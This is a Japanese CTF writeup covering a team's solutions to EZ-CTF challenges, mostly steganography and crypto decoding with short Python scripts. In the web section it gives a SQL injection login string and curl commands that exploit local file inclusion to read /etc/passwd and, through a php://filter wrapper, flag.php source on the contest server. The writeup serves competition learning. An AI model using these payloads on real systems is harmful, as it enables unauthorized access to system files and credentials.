この大会は2022/5/7 1:00(JST)~2022/5/8 1:00(JST)に開催されました。
今回もチームで参戦。結果は3975点で731チーム中66位でした。
自分で解けた問題をWriteupとして書いておきます。
Wavie Wave (Misc 200)
Audacityで開き、スペクトログラムを見る。サンプル周波数を調整すると、フラグが読める。
CTF{KNOW_YOUR_SPECTOGRAAAAMS}
EZ-CTF{KNOW_YOUR_SPECTOGRAAAAMS}
Grandma (Misc 350)
hexdumpしたようなデータになっているが、先頭3バイトの16進数表記がXXとなっている。PNG形式のデータであることがわかっているので、89 50 4e としてPNGを復元する。
#!/usr/bin/env python3 with open('Grandma.jpg', 'rb') as f: data = f.read().splitlines() png = b'' init = True for d in data: h = d.split(b' ')[1].replace(b' ', b'').decode() if init: init = False h = h.replace('XXXXXX', '89504e') png += bytes.fromhex(h) with open('flag.png', 'wb') as f: f.write(png)
復元した画像にフラグが書いてあった。
EZ-CTF{W3LL_AINT_7H47COOL}
Super Secure (Web 100)
以下の情報でログインすると、フラグが表示された。
Name: ' or 1=1 -- - Password: a
EZ-CTF{N0t_S0_S4f3_4ft3r_411}
I made a blog! (Web 150)
ブログの1つを見ようとすると、以下のURLに遷移する。
http://ez.ctf.cafe:9999/blog-posts.php?file=blog1.html
/etc/passwdを確認してみる。
$ curl http://ez.ctf.cafe:9999/blog-posts.php?file=/etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
確認できたが、フラグがどこにあるかわからない。http://ez.ctf.cafe:9999/robots.txtにアクセスすると、以下のように表示される。
User-agent: * Disallow: /flag.php
$ curl http://ez.ctf.cafe:9999/blog-posts.php?file=php://filter/convert.base64-encode/resource=flag.php PD9waHAKCWVjaG8gJ0hvdyBkbyB5b3UgZmlsdGVyIHlvdXIgY29mZmVlPyc7ICAgIAoJLy8gRVotQ1RGe0xGSV8xU18zWn0KPz4K $ echo PD9waHAKCWVjaG8gJ0hvdyBkbyB5b3UgZmlsdGVyIHlvdXIgY29mZmVlPyc7ICAgIAoJLy8gRVotQ1RGe0xGSV8xU18zWn0KPz4K | base64 -d <?php echo 'How do you filter your coffee?'; // EZ-CTF{LFI_1S_3Z} ?>
EZ-CTF{LFI_1S_3Z}
Race #1 (Web 200)
Discordで以下のように通知があった。
Since someone is ruining the fun for everyone and destroying Race #1 and Race #2 we have to shut them down.
どうやらWebサイトが破壊されたため、フラグを公開したとのこと。
EZ-CTF{R3C_T0_34SY_F0R_M3}
Race #2 (Web 300)
この問題もRace #1と同様。
EZ-CTF{1_4M_PR3TTY_G00D_4T_R3C}
DigitalOcean (Forensics 50)
スライド2にフラグの先頭部分が書かれている。
EZ-CTF{TH1S_
スライド5にフラグの末尾が書かれている。
1S_FR33}
EZ-CTF{TH1S_1S_FR33}
Bernie (Steganography 125)
steghideで隠しファイルを抽出する。このときパスワードは空で指定する。
$ steghide extract -sf Bernie.jpg Enter passphrase: wrote extracted data to "FlagHere.txt". $ cat FlagHere.txt \28x\32x\38x\28x\32x\38x\28x\32x\38x\28x\32x\38xE\28x\32x\38x\28x\32x\38xZ\28x\32x\38x-\28x\32x\38xC\28x\32x\38x\28x\32x\38xT\28x\32x\38xF\28x\32x\38x{N\28x\32x\38xO\28x\32x\38xW\28x\32x\38x_\28x\32x\38x\28x\32x\38xY\28x\32x\38x\28x\32x\38xO\28x\32x\38xU_\28x\32x\38xS\28x\32x\38x\28x\32x\38x\28x\32x\38x\28x\32x\38xE\28x\32x\38x\28x\32x\38xE\28x\32x\38x_\28x\32x\38xM\28x\32x\38xE\28x\32x\38x\28x\32x\38x_\28x\32x\38xN\28x\32x\38xI\28x\32x\38x\28x\32x\38xC\28x\32x\38xE\28x\32x\38x}\28x\32x\38x\28x\32x\38x\28x\32x\38x\28x\32x\38x\28x\32x\38x\28x\32x\38x
16進数表記としてデコードする。
(28(28(28(28E(28(28Z(28-(28C(28(28T(28F(28{N(28O(28W(28_(28(28Y(28(28O(28U_(28S(28(28(28(28E(28(28E(28_(28M(28E(28(28_(28N(28I(28(28C(28E(28}(28(28(28(28(28(28
"(28"はゴミなので、削除する。以上をスクリプトにしたものが以下のコード。
#!/usr/bin/env python3 with open('FlagHere.txt', 'r') as f: data = f.read() hex_mode = False code = '' msg = '' for d in data: if d == '\\': hex_mode = True elif hex_mode == True and d == 'x': msg += chr(int(code, 16)) hex_mode = False code = '' elif hex_mode == True: code += d else: msg += d print('[+] msg:', msg) flag = msg.replace('(28', '') print('[*] flag:', flag)
実行結果は以下の通り。
[+] msg: (28(28(28(28E(28(28Z(28-(28C(28(28T(28F(28{N(28O(28W(28_(28(28Y(28(28O(28U_(28S(28(28(28(28E(28(28E(28_(28M(28E(28(28_(28N(28I(28(28C(28E(28}(28(28(28(28(28(28 [*] flag: EZ-CTF{NOW_YOU_SEE_ME_NICE}
EZ-CTF{NOW_YOU_SEE_ME_NICE}
Nobody's perfect (Steganography 210)
https://stylesuxx.github.io/steganography/でデコードする。デコードしたデータの中にフラグが含まれていた。
EZ-CTF{Lickilicky_Is_Th3_Worst}
More Sense (Crypto 60)
"A", "B"とスペースの暗号になっている。モールス信号と推測しデコードする。
"A"を"."、"B"を"-"に置き換え、https://www.dcode.fr/morse-codeでデコードする。
BB BBBBB ABA AAA AAABB AABBAB BABB BBBBB AAB ABA AABBAB ABB AAAAB BABB AABBAB BBBBB AAB BBAAA AABBAB BBBBB AABA AABBAB AAAA AAABB ABA AAABB ↓ -- ----- .-. ... ...-- ..--.- -.-- ----- ..- .-. ..--.- .-- ....- -.-- ..--.- ----- ..- --... ..--.- ----- ..-. ..--.- .... ...-- .-. ...-- ↓ M0RS3_Y0UR_W4Y_0U7_0F_H3R3
EZ-CTF{M0RS3_Y0UR_W4Y_0U7_0F_H3R3}
No Kidding (Crypto 70)
8/44/444/7777\\\444/7777\\\8/44/33\\\555/2/6/33/7777/8\\\222/8/333\\\333/555/2/4\\\33/888/33/33/33/33/777 T H I S _ I S _ T H E _ L A M E S T_ C T F _ F L A G_ E V E E E E R
EZ-CTF{THIS_IS_THE_LAMEST_CTF_FLAG_EVEEEER}
Slow Slow Slow (Crypto 240)
base64文字列になっているが、デコードしても、手掛かりはない。問題文にreverseという単語が使われていることから、バイト列を逆にすることを組み合わせて復号する。
#!/usr/bin/env python3 from base64 import * with open('Slow Slow Slow.txt', 'r') as f: data = f.read() data = data[::-1] for _ in range(5): data = b64decode(data) data = data[::-1] with open('flag.jpg', 'wb') as f: f.write(data)
結果、逆順→base64デコード5回→逆順でjpgになり、画像にフラグが書いてあった。
EZ-CTF{SL0WP0K3_1NC3PT10N}
Gift Wrapped (Crypto 380)
hexdumpしたようなデータになっているので、デコードする。デコードしたデータをASCIIコードの連結したものと推測して、デコードする。
te tetted e tettetett tettet te tettetett tettek tettese - 105 132 55 103 124 106 173 127 63 61 162 144 137 174 55 174 165 156 147 64 162 61 141 156 137 124 60 156 147 165 63 137 124 167 61 163 164 63 162 175
ハイフンの後ろを8進数表記のASCIIコードとしてデコードする。
#!/usr/bin/env python3 with open('Gift Wrapped.txt', 'rb') as f: data = f.read().splitlines() codes = b'' for d in data: h = d.split(b' ')[1].replace(b' ', b'').decode() codes += bytes.fromhex(h) codes = codes.decode() msg = '' code = '' for c in codes: code += c if int(code) > 31 and int(code) < 127: msg += chr(int(code)) code = '' print('[+] message:', msg) enc = msg.split(' - ')[1] enc = enc.split(' ') flag = '' for c in enc: flag += chr(int(c, 8)) print('[*] flag:', flag)
実行結果は以下の通り。
[+] message: te tetted e tettetett tettet te tettetett tettek tettese - 105 132 55 103 124 106 173 127 63 61 162 144 137 174 55 174 165 156 147 64 162 61 141 156 137 124 60 156 147 165 63 137 124 167 61 163 164 63 162 175 [*] flag: EZ-CTF{W31rd_|-|ung4r1an_T0ngu3_Tw1st3r}
EZ-CTF{W31rd_|-|ung4r1an_T0ngu3_Tw1st3r}
Qweauty and the Beast (Crypto 470)
8進数表記のASCIIコードとしてデコードする。さらに後ろの文字列と逆順にする。
#!/usr/bin/env python3 enc = '124 150 151 163 40 151 163 40 144 145 146 151 156 151 164 145 154 171 40 141 40 146 154 141 147 40 175 163 73 144 106 137 156 166 141 145 126 137 60 106 137 163 150 141 122 137 150 152 64 64 64 103 137 153 145 101 137 153 145 63 144 106 173 125 106 126 55 132 113' enc = enc.split(' ') msg = '' for c in enc: msg += chr(int(c, 8)) print(msg) enc = msg.split('flag ')[1][::-1] print(enc)
実行結果は以下の通り。
This is definitely a flag }s;dF_nvaeV_0F_shaR_hj444C_keA_ke3dF{UFV-ZK KZ-VFU{Fd3ek_Aek_C444jh_Rahs_F0_Veavn_Fd;s}
問題タイトルから考えると、キーボードのキー配列が関係していそう。https://en.wikipedia.org/wiki/Keyboard_layoutを参考にして考える。
QWERTY配列とWorkman配列の対応表は以下のようになる。
QWERTY QWERTYUIOPpASDFGHJKL+;ZXCVBNM Workman QDRWBJFUP:;ASHTGYNEOIiZXMCVKL
このことを元にWorkman配列のものに変換する。
EZ-CTF{Th3re_Are_M444ny_Ways_T0_Crack_This}
Too Many Colors (Crypto 490)
hexahue。https://www.dcode.fr/hexahue-cipherでデコードする。ただし、そのままだと該当する文字がないので、180度回転させてデコードする。
KC4LBT1TN14PU0YN4C7VB3RUS
デコードした文字列を逆順にする。
SUR3BV7C4NY0UP41NT1TBL4CK
EZ-CTF{SUR3_BV7_C4N_Y0U_P41NT_1T_BL4CK}